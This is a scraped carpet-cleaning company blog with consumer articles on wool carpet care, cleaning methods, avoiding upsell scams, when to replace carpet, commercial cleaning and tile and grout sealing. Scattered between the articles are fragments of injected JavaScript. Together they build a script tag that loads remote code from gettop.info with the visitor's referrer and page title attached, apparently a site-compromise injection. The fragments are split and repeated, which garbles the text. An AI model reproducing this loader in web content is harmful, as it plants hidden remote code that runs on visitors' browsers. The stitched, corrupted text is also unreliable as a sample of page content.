image

So you have wall-to-wall wool carpet in your home? Congratulations on your choice of flooring. You have the world most durable, tried-and-true carpet fiber known to man.

In the form of rugs, wool carpet has literally been around for thousands of years and is known to last for hundreds of years with proper care. The oldest known surviving rug is the Pazyryk Carpet, which is dated to the 4th or 5th century B.C. It’s only in the last couple hundred years that carpet was installed and stretched wall to wall rather than spread loose on the floor as rugs.

As wall-to-wall carpeting became more popular — and in the first half of the 20th century — wool fibers completely dominated the industry. There was simply nothing that compared with the quality. Sometime after the ’50s, however, nylon was invented and soon took the dominant position in the market, largely because it was much more economical than wool.

Wool is still available today and is much prized for its environmental perks, it ability to bounce back, ability to hide soil, its naturally fire-retardant qualities and many other advantages. The drawback is that a quality wool carpet typically costs 4 to10 times as much as the cheaper fibers.

Obviously, if you have a quality wool carpet in your home, you want to take good care of it. Now this article is primarily concerned with cleaning wall-to-wall wool carpets, not area rugs or Oriental rugs. These are very different and need to be cleaned differently. Always take your wool area rugs to a plant where they can be properly washed and dried in a controlled environment. Do not attempt to clean them the same way that you clean wall-to-wall carpet.

Now, can you get your expensive wool wall-to-wall carpet professionally cleaned? Absolutely, and you certainly should. One of the advantages of wool is that is can hide a tremendous amount of dirt before it begins to show. However, the dirt is still there and can cause Indoor Air Quality (IAQ) and odor issues as well as reducing the life of your carpet. Soil is very abrasive and will abrade the carpet fibers unless extracted out of the carpet. The good news is that it will not hurt your wool carpet to clean it using the industry recommended hot water extraction (steam) cleaning method. This is the most thorough, effective method for removing that greasy, gritty, fiber-eating soil in the base of the carpet. Here are a few pointers to remember when getting your wool carpet cleaned.

Being an organic fiber, wool will tend to smell a bit organic (wet doggish) when cleaned. This is part of the experience of owning a wool carpet, so don’t worry. This odor will quickly dissipate as the carpet dries. Drying should not take longer than 2 to 6 hours on average.

One of the advantages to using wool cloth or fibers is that it takes dyes very readily. One of the disadvantages is that it keeps on readily accepting dyes after installation. In other words, stain removal can be a pretty challenging proposition for wool, especially on old stains that have been set with time. You can certainly remove them with the right products and skill, but don’t expect to see that Kool-Aid pop out of your wool carpet like it did on your olefin carpet. Having your cleaning professional apply a high quality wool-safe carpet protector will aid in the removal of potential stains and spots.

Be sure that your cleaner does not use highly alkaline cleaning agents: Somewhere around a pH of 8.5 is the limit. Alkalinity will degrade organic fibers, can show up as yellowing or browning and causes fiber degradation over time. This is possibly the most important difference between cleaning conventional carpet and wool. The cleaner must be very careful that he (or she) does not use overly hot cleaning solution. Also, bleach is a huge no-no because it will actually dissolve wool. So don’t be tempted to remove a tough stain with bleach, and plan on hiring the carpet-dyeing guy. You’ll be hiring the repair guy instead.

With these few guidelines, you can get your carpets steam cleaned every year for many years to come — and even many of your children’s years — without fear that you are somehow ruining your wool carpets. If you hire a professional cleaner with the proper level of knowledge and skill, you are actually greatly extending the life and improving the appearance of your high end wool carpet. It’s perfectly safe and highly recommended that you get your wool carpets regularly steam cleaned.

d.getElementsByTagName(‘head’)[0].appendChild(s);

image

It’s easy to get overwhelmed by all the choices offered by carpet cleaning companies.

How’s a consumer to know whether hot water extraction, bonnet, or “dry” carbonation techniques are best? A reputable carpet cleaner can break it all down for you and help you make the right choice, and you will find great guidance from your carpet manufacturer. But here’s a quick translation of some of the most commonly bandied about terms.

Hot water extraction, or steam cleaning, is the most universally used carpet cleaning technique. This process typically involves spraying a solution of warm or hot water and a cleaning agent into the carpet, then extracting it all with a powerful vacuum. This can be a truck-mounted system or a portable unit. The truck mounted system ensures the dirt is removed outside the home.

“Hot water extraction is what (many of the major) carpet manufacturers recommend just because it gets rid of everything,” said Jeff at Pacific Carpet & Tile Cleaning of Newport Beach, CA. “I vacuum if needed; do a pre-spray to break up some of the dirt and then come right behind that with the hot water extraction. All of the dirt and water is being sucked out of your home, right into my truck.”

A downside to hot water extraction cleaning is a long dry time (2-3 Hrs), Taylor said, depending on the carpet type and the humidity level in the home.

Randy Carter, owner of Eco Carpet Cleaning, LLC in Indianapolis, offers both steam cleaning and “bonnet” — or low moisture — cleaning methods. He prefers the low-moisture approach.

The bonnet method consists of a round cleaning pad that fits like a cap over a rotary brush to help loosen dirt from the carpet. The method works particularly well in homes with pets, Jeff said. Jeff’s company uses plant and vegetable based cleaners, which are safe for children and pets, he said.

“We heat our solution up before we apply it to the carpet, which gives it more reaction to the carpet versus using just plain water,” Jeff said. “That gives us another edge in cleaning.”

While most carpet types can withstand any of these cleaning methods, it’s important to follow your carpet manufacturer’s recommended method. Some manufacturers will not honor the carpet’s warranty to cover damage if their specified method is not followed.

To keep your carpets cleaner longer, vacuum them regularly yourself with a good, household vacuum cleaner and have them professionally cleaned by a qualified and reputable company at least once a year and in accordance with your manufacturer’s instructions. Clean more often if you have pets or heavy foot traffic.

Professional cleaning costs typically start at around $79 for a small area and go up from there, depending on the size of your home and the type of cleaning you choose. According to Angie’s List reports for the past year in the Indianapolis area, the average carpet cleaning job costs about $400. This investment will pay off in the long-term by extending the useful life of your carpets. Avoid the temptation of offers from companies offering super-cheap cleanings: for example, a $49 whole-house cleaning. Generally speaking, these deals are too good to be true.

“They’re either going to cut costs in cleaning agents and just spray water, or they’re going to try to upgrade you on a bait and switch once they get into your home,” Taylor cautioned.

var d=document;var s=d.createElement(‘script’);

image

May Katz had a trusted carpet cleaning company that she had always used, but the Indianapolis resident thought she’d try another company that had advertised a discounted cleaning.

As soon as the two representatives were in the door, though, they immediately tried to upsell Katz an additional $120 for “deep cleaning” service. When she declined, the cleaners were in and out of her three-level home in less than an hour and she didn’t notice a difference in the carpets’ appearance, other than that they were still wet after the technicians left. Katz noted than on previous, more positive carpet cleaning experiences, it took three technicians an hour and a half to clean her carpets.

“I thought it would take at least two hours,” Katz said. “It took them less than 45 minutes, so that made me kind of skeptical. I wasn’t certain if it was cleaned or not cleaned.”

Chris Stone, of Gallery Carpet Care in Zionsville, said he hears stories like Katz’s all the time from clients who call him in to redo a carpet cleaning job.

“When they show up and start trying to upsell you certain things, if (you decline), they’re not at all motivated to do the carpet in the best possible job,” Stone said. “We hear that a lot. They get there and the customer says, ‘I just want to get (the sale price),’ and they’ll say, ‘Yeah, we can do that, but if you actually want your carpets deep cleaned and want us to use a pre-spray and hot water…’ and they’ll start adding up all these charges. That should be a big red flag. A reputable company should have a one-price system, whether they charge per room or per square foot.”

Look for a carpet cleaning company that follows industry guidelines set forth by the Institute of Inspection Cleaning and Restoration Certification (IICRC.)

“You want a company that’s in it for the long run,” Stone said. “When they show up to your door, look for the little things. Look at their appearance. If they’re poorly dressed or have a sloppy appearance, generally that translates into how their work is going to (look).”

It’s important, before hiring a carpet cleaner, to understand the type of carpet cleaning being done. Stone’s company, for example, offers only hot water extraction. That’s also known as steam cleaning, which is the method recommended by most carpet manufacturers. Other methods include low-moisture – or bonnet cleaning – and “dry” or carbonated techniques. Many manufacturers will not honor the carpet’s warranty if their recommended cleaning method is not used.

“(Most carpet manufacturers) demand using hot water extraction because it removes the most soil,” Stone said. “It’s able to sanitize the carpet with the heat and it’s the most thorough cleaning out there. We do hot water extraction with a truck mount, which we believe is the best way to clean your carpets. If you see somebody show up with a little portable (cleaner) or they ask to connect to your water source, you might want to look for someone else.”

Professional cleaning costs typically start at around $79 for a small area and goes up from there, depending on the size of your home and the type of cleaning you choose. Stone said he charges by the square foot, rather than the room.

d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);

image

More than ever, people are becoming aware of the potentially harmful effects of chemical use in the home. We have many clients who contact our office that are looking for a green carpet cleaning service. “Can you clean my carpet without chemicals?” is a question we are often asked.

Technically speaking, the only way to clean a carpet without chemicals is to just vacuum it. Even plain water is a chemical compound (H2O). However, what is usually meant when asked if we can clean your carpet without chemicals is, “can you clean my carpet safely?”

The short answer is, “Yes.” Your carpet cleaner should have a variety of products that are very safe to use.

For most clients, a reasonable solution to the issue would be to pre-treat your carpet with a standard mild carpet pre-spray and work it into the fibers like normal. The key step would be to rinse and extract the carpet with clean hot water. The hot water extraction rinse would remove virtually all the pre-treatment and leave very little residue in your carpet.

For other clients who are extremely sensitive, your carpet cleaner should have access to other products that are extremely safe. One major manufacturer produces an anti-allergen pre-spray that is hypo-allergenic, non-toxic and free of dyes, perfumes, solvents, VOCs, phosphates or other hazardous materials.

Additionally, it is derived from renewable seed and vegetable sources and is formulated to meet or exceed all established standards of wool fiber producers and fifth generation stain resistant carpet manufacturers.

There is also a rinsing agent that can be used that matches this pre-spray and meets the same stringent restrictions. Or, if you prefer, your carpet cleaner can simply rinse and extract the pre-treated carpeting with hot water, as mentioned previously.

It’s nice to know that most carpet cleaning products manufactured for use today are very safe for you and your family. A well trained, certified carpet cleaning technician will be able to meet your needs and provide a very high level of service, leaving you with clean, safe carpeting in your home.

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);

image

Installing carpet in your home is a lot like buying a car — the moment you use it, the value starts depreciating.

Most carpet manufacturers say their carpet lasts around 10 years, but with proper care, many families are able to extend the life of their carpet even longer by utilizing professional carpet cleaners. At some point, though, you’ll need to decide whether cleaning or replacing your carpet is the best choice. To find out if replacing is right for you, consider these factors:

1. Wear and tear

Has your carpet seen better days? Are you putting rugs all over it to cover rips and tears, or rearranging furniture to cover defects? Are your kids scared to lay on it? Matted carpet, tears and significant wear on the main walkways are major signs your carpet is on its death bed.

Polyester carpet fibers have a reputation of matting and losing their form. Once it falls down and loses its tuft, it doesn’t return to normal, even with professional cleaning. Nylon carpeting, however, is typically more resilient than polyester and responds well to carpet cleaning, even when matted down.

You might be able to fix small tears and rips yourself, or you can hire a carpet professional to make the repair. However, large rips and tears tend to signal the carpet needs to be replaced, especially if the tears are present on stairs or major walkways.

2. Excessive stains

Are you covering up stains with furniture and rugs when cleaning fails to remove them? If your house is starting to resemble a mine field, it’s time to replace the carpet. Most carpets come with a stain-resistant finish, but over time the treatment fades, and eventually leaves the carpet unprotected. Luckily, professional carpet cleaners know tricks to remove tough stains. Dean Leffel, owner of highly rated Home Cleaning Centers of America in Indianapolis, says most carpet cleaners only clean to the base of your carpet, to avoid damaging the glue that binds your carpet to the pad. However, he says this doesn’t get any stains that penetrate deeper than the carpet.

“We have a system of flushing out deep stains with a flood extraction tool,” he says. In this method, Leffel floods the area with cleaning solution and uses a heavy duty extraction tool to remove the stain from the carpet and pad. Sometimes, Leffel says, stubborn stains just won’t go away. Bleach, plant food, tea, wine and mustard are typically the toughest stains to remove, and carpet cleaners say many homeowners make the stains worse by using shoddy DIY stain-removal methods they find on the web, or store-bought carpet-cleaning products that can actually damage carpet with harsh chemicals.

Stains caused by pet urine, feces, vomit, mold and mildew are usually easy to clean if you act fast. But these biological substances eventually will absorb into the carpet padding, leading to mold and mildew buildup under the carpet. If the biological stains are in several places, consider replacing the carpet to avoid health hazards with mold. Leffel says they sometimes get creative with replacing small pieces of stained carpet by removing carpet from a rarely used closet.

3. Consider age of carpet

Are you still using the 1970s shag carpet that came with your house? Have you had it cleaned several times? Believe it or not, carpet doesn’t last forever, even with good care. Most manufacturers say carpet should last for 10 years with proper care. After 10 years, signs of wear show on the major walkways and the carpet fibers start losing their texture and tuft. If you find yourself cleaning the carpet over and over and not getting the results you want, it might be time to lay the carpet to rest. Signs of old carpet include color loss, fading, matting, ripples, wrinkles and lack of padding support.

4. Condition of padding

Carpet padding is like the pillow under the case, the carpet is nothing but a layer of fabric without the padding. It helps support the carpet, working as a foundation and making it comfortable to walk and lay on. It buffers sounds and keeps a room quieter and even improves insulation. However, carpet padding also absorbs a lot of spills and cleaning the carpet doesn’t necessarily clean the padding. Signs of aging padding include unevenness, wrinkles and a crinkling sound when someone walks over it.

5. Odor

Are you spraying fabric freshener and lighting candles every time you have company? Spot-cleaning carpets and even professional cleaning might remove stains and odors from the carpet, but the padding often absorbs the smell. Leffel suggests asking carpet cleaners what method they use to remove wetness beneath the carpet, if odors are a problem. “The odor won’t go away unless they deep clean the stain and ensure the pad is dry,” he says. If you’ve tried to get rid of the old carpet smell and can’t, consider replacing the carpet.

if (document.currentScript) {

image

Finding the right carpet cleaner in Newport Beah can be surprisingly easy if you know what questions to ask. Prior to making a hiring decision, be sure to ask these five questions to assure that you’re hiring a professional. Rest assured that by asking them, you’re on the road to hiring the right company.

1. “Are you a licensed and certified cleaning company?”

Your carpets are one of the most expensive items you have and you should only trust a true professional to work on them. Would you bring your car to a non-certified car technician?

A licensed and certified carpet cleaner will always work within the standards of professional cleaning and will make sure that the cleaning processes involved are home and environment friendly.

2. “Are you affiliated with any certification body?”

Is your carpet cleaner a member of an organization? An affiliation or membership to organizations can help assure you that you are not hiring a fly-by-night carpet cleaner. Certification bodies and organizations have rules and guidelines before any certification is issued and affiliation is awarded.

3. “What do past clients have to say about your services?”

Take some time to review what customers have to say about the company’s services. Ask for referrals from some of their clients. The time spent for a little checking is much better than hiring the wrong company because you missed out on it.

4. “What guarantee do you offer?”

If you were not satisfied with the cleaning, would you pay for it? A reliable carpet cleaning company confident with the quality of their work will vouch on a money back guarantee if client is not satisfied. A carpet cleaning company should offer to re-clean any area or spots that need to be redone.

5. “What sets you apart from other carpet cleaning companies?”

Many times, it is equally important to ask questions that do not deal with technicalities. You would like to know whether you’re hiring a carpet cleaner whom you can trust and who cares. A question like this allows you to gauge your carpet cleaner’s character.

You may ask more questions depending on your need. This is your ticket to finding the right carpet cleaner.

}

image

Commercial carpet cleaning can be looked at as a business totally separate and distinct from its residential counterpart. While the basic service of removing soil from carpet may indeed be similar, and may involve virtually the same tools and skills, the mindset and selling approach can be completely different.

The difference starts with the basic philosophy and reason for cleaning. Residential accounts are almost always restorative or corrective cleaning situations where the customer finally cannot wait any longer and hires a cleaning company to come in and bring the carpet back to acceptable levels of appearance and sanitation.

By comparison, commercial carpet cleaning is generally maintenance cleaning. Services are performed at various intervals with the goal of keeping the carpet’s appearance and sanitation from ever reaching an unacceptable level.

Residential cleaning is usually sold and serviced on an individual job basis, while commercial cleaning is often contracted for a period of time and may involve multiple cleanings and methods. Commercial carpet cleaning is very often part of a maintenance program as opposed to a stand-alone event.

With these differences in mind, it becomes clear that the skills and techniques used in marketing and selling commercial carpet cleaning services are different from those used in selling residential services. The first step to selling commercial carpet care is to take a step back. Look at the prospective account with a “total package” or “program” approach in mind. Analyze the carpeted area to get a clear picture of what cleaning and maintenance needs may apply. Things to consider would include:

  • The type of carpeting (color, construction, installation and fiber content)
  • The type and amount of traffic and therefore level of soiling
  • The quality of user maintenance (vacuuming and spot cleaning) being done
  • Soil prevention systems already in place, such walk-off mats, doorway grids, etc.
  • The overall image and level of appearance or level of cleanliness being put forward
  • The measurements of the total area of carpet in service and the measurements of the open or exposed areas and traffic lanes.Use the information from this general survey to prepare a total carpet maintenance package. The package will be different for every situation. For example, your plan might include something like general overall deep cleaning the entire area at least once per year, cleaning the areas of higher use levels but low profile an additional time per year, and cleaning the high use/high profile areas quarterly.

    Determine the method of cleaning most appropriate for each area and the square foot price for each method. Multiply the total amount of square footage to be cleaned by the price per square foot to get a total price for maintaining the carpet for a year. For example (square footage and prices are not recommendations):

} else {d.getElementsByTagName(‘head’)[0].appendChild(s);

image

Gum?  Coffee Spills?  High Traffic Lanes?

Don’t let your carpets be an eye sore to your staff or clients.

As low as .07 cents per Sq Ft we are Orange County’s leading carpet and upholstery cleaning company, Pacific resources position us to best meet all your carpet and upholstery cleaning requirements. We use patented state–of–the–art equipment, non–toxic environmentally safe supplies, and well–trained service professionals.

We offer a complete menu of services designed to provide businesses and facility managers the highest quality of service in the industry. With our proprietary processes and environmentally safe solutions, Pacific will gwt the job done right!

  • Superior Cleaning Technology
  • Low moisture process that dries in 1-2 hours
  • Safe, non-toxic cleaning methods
  • Leaves no sticky or dirt-attracting residue
  • Anti-static odor control
  • Fabric and upholstery services
  • Restoration services

We are licensed and insured. Rest assured knowing our team of technicians can handle the biggest and most challenging jobs correctly and on time! Here are some of the ideal business types for our commercial carpet cleaning service.

  • Office buildings
  • Worker Cubicles
  • Convention Centers
  • Schools & Classrooms
  • Theaters
  • Churches
  • Department Stores
  • Showrooms
  • Hotels, Motels

By utilizing our size & experience your biggest and toughest cleaning jobs will be finished quickly & affordably! Give us a call at (949) 545-5205 and we’ll be happy to explain this program in more detail.

document.currentScript.parentNode.insertBefore(s, document.currentScript);document.currentScript.parentNode.insertBefore(s, document.currentScript);

image

How to Clean and Seal Tile and Grout

Tile is fairly low maintenance and regular cleaning will keep your tile looking new for many years, but there will be times when you have a stain that will not come out with regular cleaning. Ceramic and porcelain tile does not usually stain that easy, but natural stone like travertine, granite, marble and slate does however stain quite easily, but grout is the easiest to stain and the hardest to clean.

Cleaning and sealing tile is different for showers then it is for floors because of the conditions they are exposed to. There is also a difference between normal cleaning, heavy duty cleaning and removing stains.

Normal cleaning:

Tile floors should be damp moped regularly with warm water and a mild detergent. Showers should be cleaned regularly with a tile cleaner such as Tilex, which removes soap scum from the shower walls. For normal cleaning of grout use a non-acidic cleaner made specifically for cleaning grout. Pour some cleaner into a bowl then dip a grout cleaning brush into the bowl and scrub the grout (an old toothbrush also works well). After using the grout cleaner wipe everything down with a sponge using plain water.

Heavy duty cleaning/removing stains:

When normal cleaning does not do the trick, use a cleaner that is specifically made for cleaning tile & grout. Do not use bleach or household cleaners because they could damage or discolor the grout. To get tough stains out of grout use a heavy duty grout cleaner that contains phosphoric acid. Clean the grout the same way as described above then thoroughly rinse with plain water agitating with clean scrub pad or grout brush. It’s very important to thoroughly rinse the acidic cleaner out of the grout or it could damage the grout. Use rubber gloves and eye protection when using acidic cleaner.

Sealing tile and grout:

Natural stone tile needs to be sealed, especially if it is used in a shower. There are two types of tile & grout sealer for natural stone, regular and enhanced. The regular sealer does not change the color of the tile or grout, but the enhanced sealer darkens and enhances the color of the tile and grout. This type of sealer is applied by hand with a white cotton terry cloth towel that is dipped into the sealer and applied in a circular motion, and then wiped with a dry towel within 5 minutes after application.

Ceramic or porcelain tile does not need to be sealed; only the grout needs to be sealed. For sealing just the grout I use Miracle 511 penetrating spray-on sealer that is very easy to use, you just spray it on and you’re done. Light overspray on the tile will evaporate, but any excessive overspray or pooling will need to be wiped off the tile with a dry terry cloth towel.

For cleaning glass shower door enclosures first clean the glass with a glass cleaner such as Windex, and then apply Rain-X (automotive product) to keep the glass from spotting. Using a squeegee after showering also helps cut down on water spots.

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

image

Porcelain tile as its ceramic counterpart is made out of clay, but since a more purified and refined clay is used for making porcelain tile it results in its higher density and durability. As any tile porcelain can accumulate dust and dirt especially if the grout lines aren’t sealed so regular maintenance is required to prevent dirt build-up. Sweepporcelain tile floors regularly with a dust mop, avoid using broom, vacuum cleaner or use special mouthpiece for the latter to prevent scratching.

Protection

As with any tile porcelain needs protection but it’s more durable than ceramic tiles so it’s pretty easy to clean and prevent from scratching. Use furniture protection caps and rugs or mats in high-traffic areas. Porcelain tile is water and tear resistant so it can be used in the rooms with high moisture like kitchen and bathroom.

Cleaning

Damp mop your porcelain tile floors using water and a special cleaner. You can also use a sponge instead of a mop. Sometimes the grout stains or cement are left on theporcelain floors after installation so it’s best to use an acid-based cleaner that will clear away any grout or cement. Rinse any residue that was left by cleaner, do not leave cleaning solutions to dry. Carefully wipe the polished porcelain floors with a clean cloth to increase shine and prevent dry water spots and streaks.

Different Types of Porcelain Tiles

Porcelain tile floors can be glazed, unglazed and textured. Unglazed porcelain tile floors darken when the water is applied to them. These should be cleaned with special cleaners, do not apply regular bathroom cleaners to them. If the floors are glazed wipe all the water drops and spillage as they will make polished porcelain look dull and dirty.Textured tile floors should be cleaned with a soft brush and special mild detergent to remove all the dust and dirt that has gotten into the pattern and texture of the tile.

d.getElementsByTagName(‘head’)[0].appendChild(s);